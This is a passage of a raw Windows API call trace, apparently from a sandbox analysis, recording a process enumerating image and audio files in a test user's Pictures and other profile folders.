lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da95a00, ftCreationTime.dwHighDateTime=0x1d4cfc4, ftLastAccessTime.dwLowDateTime=0xbec2fe10, ftLastAccessTime.dwHighDateTime=0x1d4cb96, ftLastWriteTime.dwLowDateTime=0xbec2fe10, ftLastWriteTime.dwHighDateTime=0x1d4cb96, nFileSizeHigh=0x0, nFileSizeLow=0xc45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ym45zlaZS.m4a", cAlternateFileName="YM45ZL~1.M4A")) returned 0 [0119.769] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.769] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.769] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.769] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\") returned="My Documents\\" [0119.770] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.770] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.770] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.770] PathFindFileNameW (pszPath="") returned="" [0119.770] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\My Documents\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da95a00, ftCreationTime.dwHighDateTime=0x1d4cfc4, ftLastAccessTime.dwLowDateTime=0xbec2fe10, ftLastAccessTime.dwHighDateTime=0x1d4cb96, ftLastWriteTime.dwLowDateTime=0xbec2fe10, ftLastWriteTime.dwHighDateTime=0x1d4cb96, nFileSizeHigh=0x0, nFileSizeLow=0xc45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ym45zlaZS.m4a", cAlternateFileName="YM45ZL~1.M4A")) returned 0xffffffff [0119.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33af0 | out: hHeap=0x5e0000) returned 1 [0119.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.770] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.770] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\") returned="NetHood\\" [0119.770] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.770] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.770] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.770] PathFindFileNameW (pszPath="") returned="" [0119.770] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\NetHood\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2da95a00, ftCreationTime.dwHighDateTime=0x1d4cfc4, ftLastAccessTime.dwLowDateTime=0xbec2fe10, ftLastAccessTime.dwHighDateTime=0x1d4cb96, ftLastWriteTime.dwLowDateTime=0xbec2fe10, ftLastWriteTime.dwHighDateTime=0x1d4cb96, nFileSizeHigh=0x0, nFileSizeLow=0xc45, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ym45zlaZS.m4a", cAlternateFileName="YM45ZL~1.M4A")) returned 0xffffffff [0119.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde690 | out: hHeap=0x5e0000) returned 1 [0119.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.770] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.770] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.771] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\") returned="Pictures\\" [0119.771] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.771] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.771] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.771] PathFindFileNameW (pszPath="") returned="" [0119.771] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda51190, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbda51190, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.771] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.771] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbda51190, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbda51190, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57b54680, ftCreationTime.dwHighDateTime=0x1d4ceb4, ftLastAccessTime.dwLowDateTime=0x94c26720, ftLastAccessTime.dwHighDateTime=0x1d4d444, ftLastWriteTime.dwLowDateTime=0x94c26720, ftLastWriteTime.dwHighDateTime=0x1d4d444, nFileSizeHigh=0x0, nFileSizeLow=0x12971, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0PKxTObiZ.gif", cAlternateFileName="0PKXTO~1.GIF")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7006b4b0, ftCreationTime.dwHighDateTime=0x1d4c6cd, ftLastAccessTime.dwLowDateTime=0x44403ee0, ftLastAccessTime.dwHighDateTime=0x1d4c8f9, ftLastWriteTime.dwLowDateTime=0x44403ee0, ftLastWriteTime.dwHighDateTime=0x1d4c8f9, nFileSizeHigh=0x0, nFileSizeLow=0x45af, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="0XXhnuQwlnRW 1zNP6.png", cAlternateFileName="0XXHNU~1.PNG")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc040cbf0, ftCreationTime.dwHighDateTime=0x1d4ca0b, ftLastAccessTime.dwLowDateTime=0x7b6f2d30, ftLastAccessTime.dwHighDateTime=0x1d4d584, ftLastWriteTime.dwLowDateTime=0x7b6f2d30, ftLastWriteTime.dwHighDateTime=0x1d4d584, nFileSizeHigh=0x0, nFileSizeLow=0x42d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1FtUuIqrnmvC9b.bmp", cAlternateFileName="1FTUUI~1.BMP")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3e14350, ftCreationTime.dwHighDateTime=0x1d4c9c6, ftLastAccessTime.dwLowDateTime=0xee7dcea0, ftLastAccessTime.dwHighDateTime=0x1d4d325, ftLastWriteTime.dwLowDateTime=0xee7dcea0, ftLastWriteTime.dwHighDateTime=0x1d4d325, nFileSizeHigh=0x0, nFileSizeLow=0x9a17, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2HrWHjA4PKJeRGV.bmp", cAlternateFileName="2HRWHJ~1.BMP")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd8c491e0, ftCreationTime.dwHighDateTime=0x1d4cf63, ftLastAccessTime.dwLowDateTime=0x8898eda0, ftLastAccessTime.dwHighDateTime=0x1d4d338, ftLastWriteTime.dwLowDateTime=0x8898eda0, ftLastWriteTime.dwHighDateTime=0x1d4d338, nFileSizeHigh=0x0, nFileSizeLow=0x66d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8EmMRvazI4x9KWTUm.png", cAlternateFileName="8EMMRV~1.PNG")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x63078e10, ftCreationTime.dwHighDateTime=0x1d4d2da, ftLastAccessTime.dwLowDateTime=0x19878fd0, ftLastAccessTime.dwHighDateTime=0x1d4c815, ftLastWriteTime.dwLowDateTime=0x19878fd0, ftLastWriteTime.dwHighDateTime=0x1d4c815, nFileSizeHigh=0x0, nFileSizeLow=0x9fc1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AV3bVnC.png", cAlternateFileName="")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93a6f510, ftCreationTime.dwHighDateTime=0x1d4c69b, ftLastAccessTime.dwLowDateTime=0xc3de7f50, ftLastAccessTime.dwHighDateTime=0x1d4cfa1, ftLastWriteTime.dwLowDateTime=0xc3de7f50, ftLastWriteTime.dwHighDateTime=0x1d4cfa1, nFileSizeHigh=0x0, nFileSizeLow=0x1372a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BjAZB51qWZoAHkE5.bmp", cAlternateFileName="BJAZB5~1.BMP")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707b9ef0, ftCreationTime.dwHighDateTime=0x1d4cba1, ftLastAccessTime.dwLowDateTime=0x9f368b90, ftLastAccessTime.dwHighDateTime=0x1d4cfd6, ftLastWriteTime.dwLowDateTime=0x9f368b90, ftLastWriteTime.dwHighDateTime=0x1d4cfd6, nFileSizeHigh=0x0, nFileSizeLow=0x185c5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="CWSnMwdRRtXA.png", cAlternateFileName="CWSNMW~1.PNG")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9f150630, ftCreationTime.dwHighDateTime=0x1d4cd2b, ftLastAccessTime.dwLowDateTime=0xf7b4f620, ftLastAccessTime.dwHighDateTime=0x1d4cc0d, ftLastWriteTime.dwLowDateTime=0xf7b4f620, ftLastWriteTime.dwHighDateTime=0x1d4cc0d, nFileSizeHigh=0x0, nFileSizeLow=0x7ec4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D131k21I.jpg", cAlternateFileName="")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1f8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x641ff480, ftCreationTime.dwHighDateTime=0x1d4c7b9, ftLastAccessTime.dwLowDateTime=0x6cea6810, ftLastAccessTime.dwHighDateTime=0x1d4d2d7, ftLastWriteTime.dwLowDateTime=0x6cea6810, ftLastWriteTime.dwHighDateTime=0x1d4d2d7, nFileSizeHigh=0x0, nFileSizeLow=0x7f05, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="dLald8SOrzsBDSo38L.gif", cAlternateFileName="DLALD8~1.GIF")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54bf9c50, ftCreationTime.dwHighDateTime=0x1d4d2c9, ftLastAccessTime.dwLowDateTime=0x424661d0, ftLastAccessTime.dwHighDateTime=0x1d4ccb6, ftLastWriteTime.dwLowDateTime=0x424661d0, ftLastWriteTime.dwHighDateTime=0x1d4ccb6, nFileSizeHigh=0x0, nFileSizeLow=0x166ff, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="fQe1ychsju.png", cAlternateFileName="FQE1YC~1.PNG")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9ac4190, ftCreationTime.dwHighDateTime=0x1d4ce72, ftLastAccessTime.dwLowDateTime=0x8aca1730, ftLastAccessTime.dwHighDateTime=0x1d4c900, ftLastWriteTime.dwLowDateTime=0x8aca1730, ftLastWriteTime.dwHighDateTime=0x1d4c900, nFileSizeHigh=0x0, nFileSizeLow=0x617d, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GFnV27F7zcqX6l.jpg", cAlternateFileName="GFNV27~1.JPG")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e802420, ftCreationTime.dwHighDateTime=0x1d4d391, ftLastAccessTime.dwLowDateTime=0xec7fdf80, ftLastAccessTime.dwHighDateTime=0x1d4c763, ftLastWriteTime.dwLowDateTime=0xec7fdf80, ftLastWriteTime.dwHighDateTime=0x1d4c763, nFileSizeHigh=0x0, nFileSizeLow=0x135fc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GZFXJ5sPjVz.png", cAlternateFileName="GZFXJ5~1.PNG")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bce620, ftCreationTime.dwHighDateTime=0x1d4c850, ftLastAccessTime.dwLowDateTime=0xf79e7da0, ftLastAccessTime.dwHighDateTime=0x1d4d04f, ftLastWriteTime.dwLowDateTime=0xf79e7da0, ftLastWriteTime.dwHighDateTime=0x1d4d04f, nFileSizeHigh=0x0, nFileSizeLow=0x1bc2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="heN4k.jpg", cAlternateFileName="")) returned 1 [0119.772] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f110a0, ftCreationTime.dwHighDateTime=0x1d4c61e, ftLastAccessTime.dwLowDateTime=0xb8811090, ftLastAccessTime.dwHighDateTime=0x1d4c980, ftLastWriteTime.dwLowDateTime=0xb8811090, ftLastWriteTime.dwHighDateTime=0x1d4c980, nFileSizeHigh=0x0, nFileSizeLow=0x13c06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hFp26ULLEeCgRocq.jpg", cAlternateFileName="HFP26U~1.JPG")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4513f70, ftCreationTime.dwHighDateTime=0x1d4d365, ftLastAccessTime.dwLowDateTime=0x734aed60, ftLastAccessTime.dwHighDateTime=0x1d4cb66, ftLastWriteTime.dwLowDateTime=0x734aed60, ftLastWriteTime.dwHighDateTime=0x1d4cb66, nFileSizeHigh=0x0, nFileSizeLow=0x11a01, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hOVtKO.png", cAlternateFileName="")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb23f4b0, ftCreationTime.dwHighDateTime=0x1d4d045, ftLastAccessTime.dwLowDateTime=0x69294bd0, ftLastAccessTime.dwHighDateTime=0x1d4d460, ftLastWriteTime.dwLowDateTime=0x69294bd0, ftLastWriteTime.dwHighDateTime=0x1d4d460, nFileSizeHigh=0x0, nFileSizeLow=0xd163, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hs-cQ G F8kD3.jpg", cAlternateFileName="HS-CQG~1.JPG")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91d106f0, ftCreationTime.dwHighDateTime=0x1d4cb59, ftLastAccessTime.dwLowDateTime=0x327f3110, ftLastAccessTime.dwHighDateTime=0x1d4d0ed, ftLastWriteTime.dwLowDateTime=0x327f3110, ftLastWriteTime.dwHighDateTime=0x1d4d0ed, nFileSizeHigh=0x0, nFileSizeLow=0xa00e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="j6nzOT.png", cAlternateFileName="")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x416fd290, ftCreationTime.dwHighDateTime=0x1d4d3f6, ftLastAccessTime.dwLowDateTime=0xf6e112d0, ftLastAccessTime.dwHighDateTime=0x1d4c553, ftLastWriteTime.dwLowDateTime=0xf6e112d0, ftLastWriteTime.dwHighDateTime=0x1d4c553, nFileSizeHigh=0x0, nFileSizeLow=0xbc33, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jppO8iseUv.bmp", cAlternateFileName="JPPO8I~1.BMP")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc31e50a0, ftCreationTime.dwHighDateTime=0x1d4c6ae, ftLastAccessTime.dwLowDateTime=0x2f925600, ftLastAccessTime.dwHighDateTime=0x1d4c808, ftLastWriteTime.dwLowDateTime=0x2f925600, ftLastWriteTime.dwHighDateTime=0x1d4c808, nFileSizeHigh=0x0, nFileSizeLow=0xc97f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="LtV7_Xi9cOpTXz1QsNs.jpg", cAlternateFileName="LTV7_X~1.JPG")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43f42ea0, ftCreationTime.dwHighDateTime=0x1d4c8e1, ftLastAccessTime.dwLowDateTime=0x381dc1b0, ftLastAccessTime.dwHighDateTime=0x1d4ca47, ftLastWriteTime.dwLowDateTime=0x381dc1b0, ftLastWriteTime.dwHighDateTime=0x1d4ca47, nFileSizeHigh=0x0, nFileSizeLow=0xaae5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="lvjoq7Ac0y5wIsBJa.png", cAlternateFileName="LVJOQ7~1.PNG")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf784aeb0, ftCreationTime.dwHighDateTime=0x1d4c8e9, ftLastAccessTime.dwLowDateTime=0x35c4efb0, ftLastAccessTime.dwHighDateTime=0x1d4ca6a, ftLastWriteTime.dwLowDateTime=0x35c4efb0, ftLastWriteTime.dwHighDateTime=0x1d4ca6a, nFileSizeHigh=0x0, nFileSizeLow=0x18cc9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MhWRB9plYFucf8hAPu.bmp", cAlternateFileName="MHWRB9~1.BMP")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8be6800, ftCreationTime.dwHighDateTime=0x1d4cab5, ftLastAccessTime.dwLowDateTime=0x496d7850, ftLastAccessTime.dwHighDateTime=0x1d4cd91, ftLastWriteTime.dwLowDateTime=0x496d7850, ftLastWriteTime.dwHighDateTime=0x1d4cd91, nFileSizeHigh=0x0, nFileSizeLow=0xf511, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="nqOPg0wxa3Z.bmp", cAlternateFileName="NQOPG0~1.BMP")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472f5d90, ftCreationTime.dwHighDateTime=0x1d4cc30, ftLastAccessTime.dwLowDateTime=0x3d12e740, ftLastAccessTime.dwHighDateTime=0x1d4d3d9, ftLastWriteTime.dwLowDateTime=0x3d12e740, ftLastWriteTime.dwHighDateTime=0x1d4d3d9, nFileSizeHigh=0x0, nFileSizeLow=0xd4dd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oIFGYUZwA9gCm l_aOn.gif", cAlternateFileName="OIFGYU~1.GIF")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcea6b1e0, ftCreationTime.dwHighDateTime=0x1d4c57a, ftLastAccessTime.dwLowDateTime=0x7d523300, ftLastAccessTime.dwHighDateTime=0x1d4cad9, ftLastWriteTime.dwLowDateTime=0x7d523300, ftLastWriteTime.dwHighDateTime=0x1d4cad9, nFileSizeHigh=0x0, nFileSizeLow=0x5c68, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oj9EUJHKpsOfq.jpg", cAlternateFileName="OJ9EUJ~1.JPG")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x761b4150, ftCreationTime.dwHighDateTime=0x1d4c87a, ftLastAccessTime.dwLowDateTime=0x64b7cf70, ftLastAccessTime.dwHighDateTime=0x1d4cf53, ftLastWriteTime.dwLowDateTime=0x64b7cf70, ftLastWriteTime.dwHighDateTime=0x1d4cf53, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PE ApnfO.bmp", cAlternateFileName="PEAPNF~1.BMP")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb920ad0, ftCreationTime.dwHighDateTime=0x1d4d3c4, ftLastAccessTime.dwLowDateTime=0x7069f690, ftLastAccessTime.dwHighDateTime=0x1d4c55d, ftLastWriteTime.dwLowDateTime=0x7069f690, ftLastWriteTime.dwHighDateTime=0x1d4c55d, nFileSizeHigh=0x0, nFileSizeLow=0x1149e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="QU_VRdUt NRyuxhaK.gif", cAlternateFileName="QU_VRD~1.GIF")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45bb0f0, ftCreationTime.dwHighDateTime=0x1d4cf73, ftLastAccessTime.dwLowDateTime=0x991a11d0, ftLastAccessTime.dwHighDateTime=0x1d4d16d, ftLastWriteTime.dwLowDateTime=0x991a11d0, ftLastWriteTime.dwHighDateTime=0x1d4d16d, nFileSizeHigh=0x0, nFileSizeLow=0x3243, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="REDKpPryBoCE3SWLx1.png", cAlternateFileName="REDKPP~1.PNG")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x634bd700, ftCreationTime.dwHighDateTime=0x1d4d1fe, ftLastAccessTime.dwLowDateTime=0xeab0fb30, ftLastAccessTime.dwHighDateTime=0x1d4ccae, ftLastWriteTime.dwLowDateTime=0xeab0fb30, ftLastWriteTime.dwHighDateTime=0x1d4ccae, nFileSizeHigh=0x0, nFileSizeLow=0x4855, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="riH elLcs.png", cAlternateFileName="RIHELL~1.PNG")) returned 1 [0119.773] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x75802f0, ftCreationTime.dwHighDateTime=0x1d4cb8e, ftLastAccessTime.dwLowDateTime=0xea6f0a90, ftLastAccessTime.dwHighDateTime=0x1d4c858, ftLastWriteTime.dwLowDateTime=0xea6f0a90, ftLastWriteTime.dwHighDateTime=0x1d4c858, nFileSizeHigh=0x0, nFileSizeLow=0xe591, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rk9GCNO.png", cAlternateFileName="")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe16af40, ftCreationTime.dwHighDateTime=0x1d4d487, ftLastAccessTime.dwLowDateTime=0x3fe5b040, ftLastAccessTime.dwHighDateTime=0x1d4cb1b, ftLastWriteTime.dwLowDateTime=0x3fe5b040, ftLastWriteTime.dwHighDateTime=0x1d4cb1b, nFileSizeHigh=0x0, nFileSizeLow=0xf099, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="S--e.jpg", cAlternateFileName="")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x76521f60, ftCreationTime.dwHighDateTime=0x1d4c733, ftLastAccessTime.dwLowDateTime=0x51f68ca0, ftLastAccessTime.dwHighDateTime=0x1d4ce68, ftLastWriteTime.dwLowDateTime=0x51f68ca0, ftLastWriteTime.dwHighDateTime=0x1d4ce68, nFileSizeHigh=0x0, nFileSizeLow=0x18426, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SbXik3LvTBfT.jpg", cAlternateFileName="SBXIK3~1.JPG")) returned 1 [0119.774] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3bd21cd0, ftCreationTime.dwHighDateTime=0x1d4d52c, ftLastAccessTime.dwLowDateTime=0x3c6fde00, ftLastAccessTime.dwHighDateTime=0x1d4d0fb, ftLastWriteTime.dwLowDateTime=0x3c6fde00, ftLastWriteTime.dwHighDateTime=0x1d4d0fb, nFileSizeHigh=0x0, nFileSizeLow=0x4022, dwReserved0=0xa0000003, 